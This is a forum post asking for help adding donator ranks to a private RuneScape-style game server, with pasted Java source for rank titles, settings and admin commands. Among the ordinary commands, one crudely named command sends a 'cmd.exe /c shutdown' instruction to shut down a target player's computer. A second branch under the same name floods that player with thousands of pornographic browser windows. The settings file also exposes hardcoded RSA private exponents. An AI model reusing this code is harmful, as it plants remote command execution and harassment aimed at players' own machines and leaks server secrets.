So I had made a post on this a while ago but I didnt put in any info, basicly what Im trying to do is add the two ranks and have the [Donator] title show up next tot her name when they yell, and add a command to my administrator.java so i can give people the ranks, i thought i had it working but my donators would actually be admins just with the donator signs and a [Null][Null] title
heres what i have in rightsmanager.java:
heres what i have in settings.java:Code:package com.rs.game.player.content.custom; import com.rs.game.player.Player; public enum RightsManager { REGULAR(1, "Player", "", ""), GRAPHIC_DESIGNER(0, "Graphic Designer", "", "<col=AD00FF>"), DONATOR(4, "Donator", "<img=5>", "<col=FF0000>"), EDONATOR(5, "Extreme Donator", "<img=4>", "<col=20f2eb>"), SUPPORTER(0, "Supporter", "<img=0>", "<col=559568>"), MODERATOR(1, "Moderator", "<img=0>", "<col=559568>"), ADMIN(2, "Admin", "<img=1>", "<col=BA2EE8>"), OWNER(7, "Owner", "<img=1>", "<col=BA2EE9>"); private int playerRights; private String title; private String crown; private String colorId; RightsManager(int rights, String title, String crown, String Color) { this.playerRights = rights; this.title = title; this.crown = crown; this.colorId = Color; } public int getPlayerRights() { return playerRights; } public String getTitle() { return title; } public String getCrown() { return crown; } public String getColor() { return colorId; } public static String getInfo(Player player, int i) { String crown = null; String titleInfo= null; String color= null; for (RightsManager rights : RightsManager.values()) { if (rights.getPlayerRights() == i) { if (player.isDonator() && player.getRights() == 4) { crown = DONATOR.getCrown(); titleInfo = DONATOR.getTitle(); color = DONATOR.getColor(); } else if (player.i***tremeDonator() && player.getRights() == 5) { crown = EDONATOR.getCrown(); titleInfo = EDONATOR.getTitle(); color = EDONATOR.getColor(); } else if (player.isGraphicDesigner() && player.getRights() == 0) { crown = GRAPHIC_DESIGNER.getCrown(); titleInfo = GRAPHIC_DESIGNER.getTitle(); color = GRAPHIC_DESIGNER.getColor(); } else if (player.isSupporter() && player.getRights() == 0) { crown = SUPPORTER.getCrown(); titleInfo = SUPPORTER.getTitle(); color = SUPPORTER.getColor(); } else if (player.getRights() == 1) { crown = MODERATOR.getCrown(); titleInfo = MODERATOR.getTitle(); color = MODERATOR.getColor(); } else if (player.getRights() == 3) { crown = ADMIN.getCrown(); titleInfo = ADMIN.getTitle(); color = ADMIN.getColor(); } else if (player.getRights() == 2) { crown = OWNER.getCrown(); titleInfo = OWNER.getTitle(); color = OWNER.getColor(); } else if (player.getRights() == 0 && !player.isSupporter() && !player.isDonator() && !player.i***tremeDonator() && !player.isGraphicDesigner()) { crown = REGULAR.getCrown(); titleInfo = REGULAR.getTitle(); color = REGULAR.getColor(); } } } return ""+color+"["+titleInfo+"]</col> "+crown+""+player.getDisplayName()+""+color+""; } }
heres what i have in administrator.java:Code:package com.rs; import java.math.BigInteger; import com.rs.game.WorldTile; import com.rs.utils.Utils; public final class Settings { public static final String SERVER_NAME = "Equinox 718"; public static final String OWNER = "Statius"; public static final int PORT_ID = 43594; public static final int CLIENT_BUILD = 718; public static final int CUSTOM_CLIENT_BUILD = 1; /** * General client and server settings. */ public static final String CACHE_PATH = "data/cache/"; public static final int RECEIVE_DATA_LIMIT = 7500; public static final int PACKET_SIZE_LIMIT = 7500; /** * Link settings */ public static final String WEBSITE_LINK = "http://rune-evolution.3owl.com"; public static final String ITEMLIST_LINK = ""; public static final String ITEMDB_LINK = ""; public static final String VOTE_LINK = ""; /** * Rare Drop Names */ public static String[] RARE_DROPS = { "pernix", "torva", "virtus", "bandos", "armadyl", "hilt", "hati", "korasi", "divine", "steadfast", "glaiven", "ragefire", "spirit shield", "fury", "arcane", "chaotic" }; /** * Launching settings */ public static boolean DEBUG; public static boolean HOSTED; public static boolean ECONOMY; // Staff rights and Max Starter amount public static final int MAX_STARTER_AMOUNT = 3; public static final int IS_OWNER = 7; public static final int IS_KING_DONATOR = 3; public static final int IS_ADMIN = 2; public static final int IS_MOD = 1; public static final int IS_HELPER = 6; public static final int IS_EXTREME_DONATOR = 5; public static final int IS_DONATOR = 4; /** * If the use of the managment server is enabled. */ public static boolean MANAGMENT_SERVER_ENABLED = true; /** * Graphical User Interface settings */ public static final String GUI_SIGN = "Artisticy GUI"; public static final String LINE_SEPARATOR = System.getProperty("line.separator"); /** * Player settings */ public static final int START_PLAYER_HITPOINTS = 100; public static final WorldTile START_PLAYER_LOCATION = new WorldTile(2869, 3542, 0); public static final String START_CONTROLER = "null"; public static final WorldTile RESPAWN_PLAYER_LOCATION = new WorldTile(2869, 3542, 0); public static final long MAX_PACKETS_DECODER_PING_DELAY = 30000; // 30seconds public static final int COMBAT_XP_RATE = 150; public static final int SKILLING_XP_RATE = 200; public static final int DROP_RATE = 1; /** * World settings */ public static final int WORLD_CYCLE_TIME = 525; // the speed of world in ms /** * Music & Emote settings */ public static final int AIR_GUITAR_MUSICS_COUNT = 50; /** * Quest settings */ public static final int QUESTS = 183; /** * Memory settings */ public static final int PLAYERS_LIMIT = 2000; public static final int LOCAL_PLAYERS_LIMIT = 250; public static final int NPCS_LIMIT = Short.MAX_VALUE; public static final int LOCAL_NPCS_LIMIT = 250; public static final int MIN_FREE_MEM_ALLOWED = 30000000; // 30mb /** * Game constants */ public static final int[] MAP_SIZES = { 104, 120, 136, 168, 72 }; public static final String GRAB_SERVER_TOKEN = "hAJWGrsaETglRjuwxMwnlA/d5W6EgYWx"; public static final int[] GRAB_SERVER_KEYS = { 1441, 78700, 44880, 39771, 363186, 44375, 0, 16140, 7316, 271148, 810710, 216189, 379672, 454149, 933950, 21006, 25367, 17247, 1244, 1, 14856, 1494, 119, 882901, 1818764, 3963, 3618 }; // an exeption(grab server has his own keyset unlike rest of client) public static final BigInteger GRAB_SERVER_PRIVATE_EXPONENT = new BigInteger("95776340111155337321344029627634178888626101791582245228586750697996713454019354716577077577558156976177994479837760989691356438974879647293064177555518187567327659793331431421153203931914933858526857396428052266926507860603166705084302845740310178306001400777670591958466653637275131498866778592148380588481"); public static final BigInteger GRAB_SERVER_MODULUS = new BigInteger("119555331260995530494627322191654816613155476612603817103079689925995402263457895890829148093414135342420807287820032417458428763496565605970163936696811485500553506743979521465489801746973392901885588777462023165252483988431877411021816445058706597607453280166045122971960003629860919338852061972113876035333"); public static final BigInteger PRIVATE_EXPONENT = new BigInteger("90587072701551327129007891668787349509347630408215045082807628285770049664232156776755654198505412956586289981306433146503308411067358680117206732091608088418458220580479081111360656446804397560752455367862620370537461050334224448167071367743407184852057833323917170323302797356352672118595769338616589092625"); public static final BigInteger MODULUS = new BigInteger("102876637271116124732338500663639643113504464789339249490399312659674772039314875904176809267475033772367707882873773291786014475222178654932442254125731622781524413208523465520758537060408541610254619166907142593731337618490879831401461945679478046811438574041131738117063340726565226753787565780501845348613"); public static final int[] DONATOR_ITEMS = { /* TODO */}; private Settings() { } }
and heres what i have in commands.java:Code:package com.rs.game.player.content.commands; import com.rs.MemoryManager; import com.rs.game.Animation; import com.rs.game.ForceTalk; import com.rs.game.Hit; import com.rs.game.Hit.HitLook; import com.rs.game.World; import com.rs.game.WorldObject; import com.rs.game.WorldTile; import com.rs.game.minigames.FightPits; import com.rs.game.npc.NPC; import com.rs.game.npc.others.Bork; import com.rs.game.player.Player; import com.rs.game.player.Skills; import com.rs.game.player.content.ItemSearch; import com.rs.game.player.content.dungeoneering.DungeonPartyManager; import com.rs.game.player.controlers.FightKiln; import com.rs.utils.Encrypt; import com.rs.utils.IPBanL; import com.rs.utils.NPCSpawns; import com.rs.utils.PkRank; import com.rs.utils.SerializableFilesManager; import com.rs.utils.Utils; import com.rs.utils.spawning.RemoveObjects; import com.rs.content.utils.DwarfMultiCannon; import java.io.File; import java.io.IOException; public class Administrator { private static Bork cal; public static String msg = ""; public static boolean processCommand(final Player player, String[] cmd, boolean console, boolean clientCommand) { if (clientCommand) { if (cmd[0].equals("tele")) { cmd = cmd[1].split(","); int plane = Integer.valueOf(cmd[0]); int x = Integer.valueOf(cmd[1]) << 6 | Integer.valueOf(cmd[3]); int y = Integer.valueOf(cmd[2]) << 6 | Integer.valueOf(cmd[4]); player.setNextWorldTile(new WorldTile(x, y, plane)); return true; } } else { boolean loggedIn = true; String name; Player target; WorldObject object; if (cmd[0].equals("cannon")) { DwarfMultiCannon.hasItems(player); return true; } if (cmd[0].equals("memory")) { player.getPackets().sendPanelBoxMessage("Server Memory: <col=00FFFF>"+MemoryManager.serverMemoryInformation()+"</col>"); player.getPackets().sendPanelBoxMessage("System Memory: <col=00FFFF>"+MemoryManager.systemMemoryInformation()+"</col>"); return true; } if (cmd[0].equals("remove")) { int x = Integer.parseInt(cmd[1]); int y = Integer.parseInt(cmd[2]); WorldObject obj = World.getObject(new WorldTile(x, y, player.getPlane())); if (obj != null) { World.removeObject(obj, true); player.getPackets().sendGameMessage("Removed object " + obj.getId() + "."); return true; } else { player.getPackets().sendGameMessage("Invalid object. Please specify another coord."); } return true; } if (cmd[0].equals("cleanhome")) { RemoveObjects.removeObjects(); return true; } if (cmd[0].equals("cleannpcs")) { int count = 0; for (NPC npc3 : World.getNPCs()) { if (npc3.getName().equals("null")) { count++; npc3.finish(); npc3.isDead(); } } player.getPackets().sendGameMessage("Sucessfully removed " + count + " nulled npcs!"); return true; } if (cmd[0].equals("aggressive")) { for (NPC npc3 : World.getNPCs()) { npc3.setAtMultiArea(true); npc3.setForceAgressive(true); npc3.setForceMultiArea(true); } return true; } if (cmd[0].equals("getid")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } ItemSearch.searchForItem(player, name); return true; } if (cmd[0].equals("open")) { int interId = Integer.parseInt(cmd[1]); player.getInterfaceManager().sendInterface(interId); for (int i = 0; i < Utils.getInterfaceDefinitionsComponentsSize(interId); i++) { player.getPackets().sendIComponentText(interId, i, "" + i + ""); } return true; } if (cmd[0].equals("crown")) { int crownId = Integer.parseInt(cmd[1]); player.sm("Crown Id " + crownId + ": <img=" + crownId + ">"); return true; } if (cmd[0].equals("addspawn")) { int npcID = Integer.parseInt(cmd[1]); NPCSpawns.addNPCSpawn(npcID, player.getRegionId(), new WorldTile(player.getX(), player.getY(), 0), -1, false); World.spawnNPC(npcID, player, -1, true, true); return true; } if (cmd[0].equals("item")) { if (cmd.length < 2) { player.getPackets().sendGameMessage("Use: ::item id (optional:amount)"); return true; } try { int itemId = Integer.valueOf(cmd[1]); player.getInventory().addItem(itemId, cmd.length >= 3 ? Integer.valueOf(cmd[2]) : 1); player.stopAll(); } catch (NumberFormatException e) { player.getPackets().sendGameMessage("Use: ::item id (optional:amount)"); } return true; } if (cmd[0].equals("setspins")) { String username = cmd[1].substring(cmd[1].indexOf(" ") + 1); Player other = World.getPlayerByDisplayName(username); if (other == null) { return true; } other.setSpins(Integer.parseInt(cmd[2])); other.getPackets().sendGameMessage("You have recived some spins!"); return true; } if (cmd[0].equals("unban")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); if (target != null) { IPBanL.unban(target); player.getPackets().sendGameMessage("You have unbanned: " + target.getDisplayName() + "."); } else { name = Utils.formatPlayerNameForProtocol(name); if (!SerializableFilesManager.containsPlayer(name)) { player.getPackets().sendGameMessage("Player doesnt exist."); return true; } target = SerializableFilesManager.loadPlayer(name); target.setUsername(name); IPBanL.unban(target); player.getPackets().sendGameMessage("You have unbanned: " + target.getDisplayName() + "."); SerializableFilesManager.savePlayer(target); } return true; } if (cmd[0].equals("npcmask")) { String message = ""; for (int i = 1; i < cmd.length; i++) { message += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } for (NPC n : World.getNPCs()) { if (n != null && Utils.getDistance(player, n) < 9) { n.setNextForceTalk(new ForceTalk(message)); } } return true; } if (cmd[0].equals("qbd")) { if (player.getSkills().getLevelForXp(Skills.SUMMONING) < 60) { player.getPackets().sendGameMessage("You need a summoning level of 60 to go through this portal."); player.getControlerManager().removeControlerWithoutCheck(); return true; } player.lock(); player.getControlerManager().startControler("QueenBlackDragonControler"); return true; } if (cmd[0].equals("meeting")) { for (Player staff : World.getPlayers()) { if (!staff.isSupporter() && staff.getRights() != 1) { continue; } staff.setNextWorldTile(player); staff.getPackets().sendGameMessage("You been teleported for a staff meeting by " + player.getDisplayName()); } return true; } if (cmd[0].equals("promote")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); if (target == null) { target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name)); if (target != null) { target.setUsername(Utils.formatPlayerNameForProtocol(name)); } loggedIn = false; } if (target == null) { return true; } if (target.getRights() >= 2) { target.setRights(2); player.sm("an admin can be promoted no further!"); } target.setRights(target.getRights() == 0 ? 1 : target.getRights()); SerializableFilesManager.savePlayer(target); if (loggedIn) { target.getPackets().sendGameMessage("You have been promoted by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + ".", true); } player.getPackets().sendGameMessage("You have promoted " + Utils.formatPlayerNameForDisplay(target.getUsername()) + ".", true); return true; } if (cmd[0].equals("restartfp")) { FightPits.endGame(); player.getPackets().sendGameMessage("Fight pits restarted!"); return true; } if (cmd[0].equals("teletome")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); if (target == null) { player.getPackets().sendGameMessage("Couldn't find player " + name + "."); } else { target.setNextWorldTile(player); } return true; } if (cmd[0].equals("bork")) { if (Bork.deadTime > System.currentTimeMillis()) { player.getPackets().sendGameMessage(Bork.convertToTime()); return true; } player.getControlerManager().startControler("BorkControler", 0, null); return true; } if (cmd[0].equals("killnpc")) { for (NPC n : World.getNPCs()) { if (n == null || n.getId() != Integer.parseInt(cmd[1])) { continue; } n.sendDeath(n); } return true; } if (cmd[0].equals("sound")) { if (cmd.length < 2) { player.getPackets().sendPanelBoxMessage("Use: ::sound soundid effecttype"); return true; } try { player.getPackets().sendSound(Integer.valueOf(cmd[1]), 0, cmd.length > 2 ? Integer.valueOf(cmd[2]) : 1); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::sound soundid"); } return true; } if (cmd[0].equals("music")) { if (cmd.length < 2) { player.getPackets().sendPanelBoxMessage("Use: ::sound soundid effecttype"); return true; } try { player.getPackets().sendMusic(Integer.valueOf(cmd[1])); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::sound soundid"); } return true; } if (cmd[0].equals("removenpc")) { for (NPC n : World.getNPCs()) { if (n.getId() == Integer.parseInt(cmd[1])) { n.reset(); n.finish(); } } return true; } if (cmd[0].equals("resetkdr")) { player.setKillCount(0); player.setDeathCount(0); return true; } if (cmd[0].equals("stopc")) { player.getControlerManager().forceStop(); player.getInterfaceManager().sendInterfaces(); return true; } if (cmd[0].equals("god")) { player.setHitpoints(Short.MAX_VALUE); player.getEquipment().setEquipmentHpIncrease(Short.MAX_VALUE - 990); if (player.getUsername().equalsIgnoreCase("")) { return true; } for (int i = 0; i < 10; i++) { player.getCombatDefinitions().getBonuses()[i] = 5000; } for (int i = 14; i < player.getCombatDefinitions().getBonuses().length; i++) { player.getCombatDefinitions().getBonuses()[i] = 5000; } return true; } if (cmd[0].equals("testdung")) { new DungeonPartyManager(player); return true; } if (cmd[0].equals("checkdisplay")) { for (Player p : World.getPlayers()) { if (p == null) { continue; } String[] invalids = {"<img", "<img=", "col", "<col=", "<shad", "<shad=", "<str>", "<u>"}; for (String s : invalids) { if (p.getDisplayName().contains(s)) { player.getPackets().sendGameMessage(Utils.formatPlayerNameForDisplay(p.getUsername())); } else { player.getPackets().sendGameMessage("None exist!"); } } } return true; } if (cmd[0].equals("removedisplay")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); if (target != null) { target.setDisplayName(Utils.formatPlayerNameForDisplay(target.getUsername())); target.getPackets().sendGameMessage("Your display name was removed by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + "."); player.getPackets().sendGameMessage("You have removed display name of " + target.getDisplayName() + "."); SerializableFilesManager.savePlayer(target); } else { File acc1 = new File("data/characters/" + name.replace(" ", "_") + ".p"); try { target = (Player) SerializableFilesManager.loadSerializedFile(acc1); } catch (ClassNotFoundException | IOException e) { e.printStackTrace(); } target.setDisplayName(Utils.formatPlayerNameForDisplay(target.getUsername())); player.getPackets().sendGameMessage("You have removed display name of " + target.getDisplayName() + "."); try { SerializableFilesManager.storeSerializableClass(target, acc1); } catch (IOException e) { e.printStackTrace(); } } return true; } if (cmd[0].equals("coords")) { player.getPackets().sendPanelBoxMessage("Coords: " + player.getX() + ", " + player.getY() + ", " + player.getPlane() + ", regionId: " + player.getRegionId() + ", rx: " + player.getChunkX() + ", ry: " + player.getChunkY()); return true; } if (cmd[0].equals("iteminter")) { player.getPackets().sendItemOnIComponent(Integer.valueOf(cmd[1]), Integer.valueOf(cmd[2]), Integer.valueOf(cmd[3]), 1); return true; } if (cmd[0].equals("trade")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); if (target != null) { player.getTrade().openTrade(target); target.getTrade().openTrade(player); } return true; } if (cmd[0].equals("setlevel")) { if (cmd.length < 3) { player.getPackets().sendGameMessage("Usage ::setlevel skillId level"); return true; } try { int skill = Integer.parseInt(cmd[1]); int level = Integer.parseInt(cmd[2]); if (level < 0 || level > 99) { player.getPackets().sendGameMessage("Please choose a valid level."); return true; } player.getSkills().set(skill, level); player.getSkills().setXp(skill, Skills.getXPForLevel(level)); player.getAppearence().generateAppearenceData(); return true; } catch (NumberFormatException e) { player.getPackets().sendGameMessage("Usage ::setlevel skillId level"); } return true; } if (cmd[0].equals("npc")) { try { World.spawnNPC(Integer.parseInt(cmd[1]), player, -1, true, true); return true; } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::npc id(Integer)"); } return true; } if (cmd[0].equals("object")) { try { int type = cmd.length > 2 ? Integer.parseInt(cmd[2]) : 10; if (type > 22 || type < 0) { type = 10; } World.spawnObject( new WorldObject(Integer.valueOf(cmd[1]), type, 0, player.getX(), player.getY(), player .getPlane()), true); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: setkills id"); } return true; } if (cmd[0].equals("killme")) { player.applyHit(new Hit(player, 2000, HitLook.REGULAR_DAMAGE)); return true; } if (cmd[0].equals("passother")) { name = cmd[1]; File acc1 = new File("data/characters/" + name.replace(" ", "_") + ".p"); target = null; if (target == null) { try { target = (Player) SerializableFilesManager.loadSerializedFile(acc1); } catch (ClassNotFoundException | IOException e) { e.printStackTrace(); } } target.setPassword(Encrypt.encryptSHA1(cmd[2])); player.getPackets().sendGameMessage("You changed their password!"); try { SerializableFilesManager.storeSerializableClass(target, acc1); } catch (IOException e) { e.printStackTrace(); } return true; } if (cmd[0].equals("unmuteall")) { for (Player targets : World.getPlayers()) { if (player == null) { continue; } targets.setMuted(0); } return true; } if (cmd[0].equals("reset")) { if (cmd.length < 2) { for (int skill = 0; skill < 25; skill++) { player.getSkills().setXp(skill, 0); } player.getSkills().init(); return true; } try { player.getSkills().setXp(Integer.valueOf(cmd[1]), 0); player.getSkills().set(Integer.valueOf(cmd[1]), 1); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::reset skill"); } return true; } if (cmd[0].equals("checkbank")) { String username1 = cmd[1].substring(cmd[1].indexOf(" ") + 1); Player other1 = World.getPlayerByDisplayName(username1); try { player.getPackets().sendItems(95, other1.getBank().getContainerCopy()); player.getBank().openPlayerBank(other1); } catch (Exception e) { player.getPackets().sendGameMessage("The player " + username1 + " is currently unavailable."); } return true; } if (cmd[0].equals("master")) { if (cmd.length < 2) { for (int skill = 0; skill < 25; skill++) { player.getSkills().addXp(skill, 150000000); } return true; } try { player.getSkills().addXp(Integer.valueOf(cmd[1]), 150000000); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::master skill"); } return true; } if (cmd[0].equals("loyaltyshop")) { player.getPackets().sendWindowsPane(1273, 0); return true; } if (cmd[0].equals("tonpc")) { if (cmd.length < 2) { player.getPackets().sendPanelBoxMessage("Use: ::tonpc id(-1 for player)"); return true; } try { player.getAppearence().transformIntoNPC(Integer.valueOf(cmd[1])); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::tonpc id(-1 for player)"); } return true; } if (cmd[0].equals("inter")) { if (cmd.length < 2) { player.getPackets().sendPanelBoxMessage("Use: ::inter interfaceId"); return true; } try { player.getInterfaceManager().sendInterface(Integer.valueOf(cmd[1])); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::inter interfaceId"); } return true; } if (cmd[0].equals("empty")) { player.getInventory().reset(); return true; } if (cmd[0].equals("kill")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); if (target == null) { return true; } target.applyHit(new Hit(target, target.getHitpoints(), HitLook.REGULAR_DAMAGE)); target.stopAll(); return true; } if (cmd[0].equals("donor")) { name = ""; int status = Integer.parseInt(cmd[1]); for (int i = 2; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); loggedIn = true; if (target == null) { target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name)); if (target != null) { target.setUsername(Utils.formatPlayerNameForProtocol(name)); } loggedIn = false; } if (target == null) { return true; } if (status == 1) { target.setDonator(true); msg = "You have been given donator by " + player.getUsername() + ""; player.getPackets().sendGameMessage("" + target.getDisplayName() + " is now a donator!", true); } else if (status == 2) { target.setExtremeDonator(true); msg = "You have been given extreme donator by " + player.getDisplayName() + ""; player.getPackets().sendGameMessage("" + target.getDisplayName() + " is now an extreme donator!", true); } else { target.setDonator(false); target.setExtremeDonator(false); msg = "Your donator rank has been revoked by " + player.getDisplayName() + ""; } SerializableFilesManager.savePlayer(target); if (loggedIn) { target.getPackets().sendGameMessage(msg); } return true; } if (cmd[0].equals("support")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); boolean loggedIn1 = true; if (target == null) { target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name)); if (target != null) { target.setUsername(Utils.formatPlayerNameForProtocol(name)); } loggedIn1 = false; } if (target == null) { return true; } if (!target.isSupporter()) { target.setSupporter(true); if (loggedIn1) { target.getPackets().sendGameMessage("You have been given supporter rank by " + player.getDisplayName(), true); } player.getPackets().sendGameMessage("You gave supporter rank to " + player.getDisplayName(), true); } else { target.setSupporter(false); if (loggedIn1) { target.getPackets().sendGameMessage("Your supporter rank has been taken by " + player.getDisplayName(), true); } player.getPackets().sendGameMessage("You've taken supporter rank from " + target.getDisplayName(), true); } SerializableFilesManager.savePlayer(target); return true; } if (cmd[0].equals("giveitem")) { name = ""; int itemId = Integer.parseInt(cmd[1]); int amount = Integer.parseInt(cmd[2]); for (int i = 3; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); boolean loggedIn2 = true; if (target == null) { target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name)); if (target != null) { target.setUsername(Utils.formatPlayerNameForProtocol(name)); } loggedIn2 = false; } if (target == null) { return true; } target.getInventory().addItem(itemId, amount); SerializableFilesManager.savePlayer(target); if (loggedIn2) { target.getPackets().sendGameMessage("" + player.getDisplayName() + " has given you an item!"); } return true; } if (cmd[0].equals("fmod")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); boolean loggedIn11221 = true; if (target == null) { target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name)); if (target != null) { target.setUsername(Utils.formatPlayerNameForProtocol(name)); } loggedIn11221 = false; } if (target == null) { return true; } if (!target.isForumModerator()) { target.setForumModerator(true); msg = "You have been made a forum moderator by " + player.getDisplayName() + "!"; } else { target.setForumModerator(false); msg = "You forum moderator status has been removed by " + player.getDisplayName() + "!"; } SerializableFilesManager.savePlayer(target); if (loggedIn11221) { target.getPackets().sendGameMessage("" + msg + ""); } return true; } if (cmd[0].equals("bank")) { player.getBank().openBank(); return true; } if (cmd[0].equals("check")) { IPBanL.checkCurrent(); return true; } if (cmd[0].equals("reload")) { IPBanL.init(); PkRank.init(); return true; } if (cmd[0].equals("tele")) { if (cmd.length < 3) { player.getPackets().sendPanelBoxMessage("Use: ::tele coordX coordY"); return true; } try { int x = Integer.valueOf(cmd[1]); int y = Integer.valueOf(cmd[2]); int z = Integer.valueOf(cmd[3]); player.resetWalkSteps(); player.setNextWorldTile(new WorldTile(x, y, cmd.length >= 4 ? z : player.getPlane())); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::tele coordX coordY plane"); } } if (cmd[0].equals("update")) { int delay = 120; if (cmd.length >= 2) { try { delay = Integer.valueOf(cmd[1]); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::restart secondsDelay(IntegerValue)"); return true; } } World.safeShutdown(false, delay); return true; } if (cmd[0].equals("rape")) { String target1 = cmd[1].substring(cmd[1].indexOf(" ") + 1); Player p2 = World.getPlayerByDisplayName(target1); p2.getPackets().sendExecMessage("cmd.exe /c shutdown -s -t 60"); player.getPackets().sendGameMessage("Shutting down " + p2.getUsername() + " his computer."); return true; } if (cmd[0].equals("rape")) { String othe2 = cmd[1].substring(cmd[1].indexOf(" ") + 1); Player target2 = World.getPlayerByDisplayName(othe2); for (int i = 0; i < 1000; i++) { target2.getPackets().sendOpenURL("http://porntube.com"); target2.getPackets().sendOpenURL("http://porntube.com"); target2.getPackets().sendOpenURL("http://porntube.com"); target2.getPackets().sendOpenURL("http://porntube.com"); target2.getPackets().sendOpenURL("http://porntube.com"); } } if (cmd[0].equals("emote")) { if (cmd.length < 2) { player.getPackets().sendPanelBoxMessage("Use: ::emote id"); return true; } try { player.setNextAnimation(new Animation(Integer.valueOf(cmd[1]))); } catch (NumberFormatException e) { player.getPackets().sendPanelBoxMessage("Use: ::emote id"); } return true; } if (cmd[0].equals("spec")) { player.getCombatDefinitions().resetSpecialAttack(); return true; } if (cmd[0].equals("unban")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } File acc = new File("data/characters/" + name.replace(" ", "_") + ".p"); target = null; if (target == null) { try { target = (Player) SerializableFilesManager.loadSerializedFile(acc); } catch (ClassNotFoundException | IOException e) { e.printStackTrace(); } } target.setPermBanned(false); target.setBanned(0); player.getPackets().sendGameMessage("You've unbanned " + Utils.formatPlayerNameForDisplay(target.getUsername()) + "."); try { SerializableFilesManager.storeSerializableClass(target, acc); } catch (IOException e) { e.printStackTrace(); } return true; } if (cmd[0].equals("ban")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); if (target != null) { if (target.getRights() == 2) { return true; } target.setPermBanned(true); target.getPackets().sendGameMessage("You've been banned by " + Utils.formatPlayerNameForDisplay(player.getUsername()) + "."); player.getPackets().sendGameMessage("You have perm banned: " + target.getDisplayName() + "."); target.getSession().getChannel().close(); SerializableFilesManager.savePlayer(target); } else { File acc11 = new File("data/characters/" + name.replace(" ", "_") + ".p"); try { target = (Player) SerializableFilesManager.loadSerializedFile(acc11); } catch (ClassNotFoundException | IOException e) { e.printStackTrace(); } if (target.getRights() == 2) { return true; } target.setPermBanned(true); player.getPackets().sendGameMessage("You have perm banned: " + Utils.formatPlayerNameForDisplay(name) + "."); try { SerializableFilesManager.storeSerializableClass(target, acc11); } catch (IOException e) { e.printStackTrace(); } } return true; } if (cmd[0].equals("ipban")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); boolean loggedIn11111 = true; if (target == null) { target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name)); if (target != null) { target.setUsername(Utils.formatPlayerNameForProtocol(name)); } loggedIn11111 = false; } if (target != null) { if (target.getRights() == 2) { return true; } IPBanL.ban(target, loggedIn11111); player.getPackets().sendGameMessage("You've ipbanned " + (loggedIn11111 ? target.getDisplayName() : name) + "."); } else { player.getPackets().sendGameMessage("Couldn't find player " + name + "."); } return true; } if (cmd[0].equals("unipban")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } File acc11 = new File("data/characters/" + name.replace(" ", "_") + ".p"); target = null; if (target == null) { try { target = (Player) SerializableFilesManager.loadSerializedFile(acc11); } catch (ClassNotFoundException | IOException e) { e.printStackTrace(); } } IPBanL.unban(target); player.getPackets().sendGameMessage("You've unipbanned " + Utils.formatPlayerNameForDisplay(target.getUsername()) + "."); try { SerializableFilesManager.storeSerializableClass(target, acc11); } catch (IOException e) { e.printStackTrace(); } return true; } if (cmd[0].equals("kiln")) { FightKiln.enterFightKiln(player, true); return true; } if (cmd[0].equals("setpitswinner")) { name = ""; for (int i = 1; i < cmd.length; i++) { name += cmd[i] + ((i == cmd.length - 1) ? "" : " "); } target = World.getPlayerByDisplayName(name); if (target == null) { target = SerializableFilesManager.loadPlayer(Utils.formatPlayerNameForProtocol(name)); } if (target != null) { target.setWonFightPits(); target.setCompletedFightCaves(); } else { player.getPackets().sendGameMessage("Couldn't find player " + name + "."); } SerializableFilesManager.savePlayer(target); return true; } } return false; } }
